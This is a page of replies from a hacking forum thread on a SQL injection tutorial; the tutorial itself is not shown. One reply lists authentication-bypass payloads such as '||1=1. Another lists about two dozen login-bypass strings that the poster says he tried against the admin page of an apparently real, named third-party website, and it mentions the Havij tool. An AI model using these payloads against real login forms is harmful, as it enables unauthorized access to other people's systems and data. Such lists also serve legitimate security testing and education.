Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


My SQL injection complete tutorial :) filter_list
Author
Message
RE: My SQL injection complete tutorial :) #331
Hello bro.. the site given in ASCII was error... http://getyourwebsitehere.com/jswb/text_to_ascii.html
[Image: ousTZzS.gif]
TTTTTThe King Of HaCker SomedaYYYYYY


RE: My SQL injection complete tutorial :) #332
Thanks for this detailed tutorial Smile
Donate:
1LDgSy4tHYs8xJBAeTzdHZmc58WPeqCkKc


RE: My SQL injection complete tutorial :) #333
Thanks for this detailed tutorial Smile
Donate:
1LDgSy4tHYs8xJBAeTzdHZmc58WPeqCkKc


RE: My SQL injection complete tutorial :) #334
Thanks man, learned a few new things


RE: My SQL injection complete tutorial :) #335
Thanks man, learned a few new things


RE: My SQL injection complete tutorial :) #336
(05-16-2013, 12:53 PM)King-Of-Hacker "PiatOs Wrote: Hello bro.. the site given in ASCII was error... http://getyourwebsitehere.com/jswb/text_to_ascii.html

i'll post another website once on my pc:
valar morghulis


RE: My SQL injection complete tutorial :) #337
Thanks mate the best tutorial available on the internet about SQL Injection Smile


RE: My SQL injection complete tutorial :) #338
Really nice tutorial! A couple of things I would like to point out though is

1. You will only be able to access the information_schema if the current database user has read access to it
2. 'or'1=1' wont work. if you need to use either
'||1=1
'||'x'=x

A few other payloads I'v found to work when trying to bypass authentication
Code:
'-0||'x'='x '-0||1# '-0# '||1#
"SQL Injection-a-holic"

Twitter | Security Sucks | My Blog


RE: My SQL injection complete tutorial :) #339
I got to the admin log in page but i got this
Not Found

The requested URL /adminpage/admin-request was not found on this server.
Apache/2.2.14 (Ubuntu) Server at www.leadacidbatteryinfo.org Port 80
i tried admin name:admin
and for the password iam using free hivij but it is good
so what we do here is in the username we always type "Admin"
and for our password we type our sql injection
i tried
' or '1'='1
' or 'x'='x
' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --
'or'1=1'
i tried like half of them
and ny facebook name is my same name Apm A hmad


RE: My SQL injection complete tutorial :) #340
If I could ask is there any NOSQL Injection attack which I could find in here ?

Thanks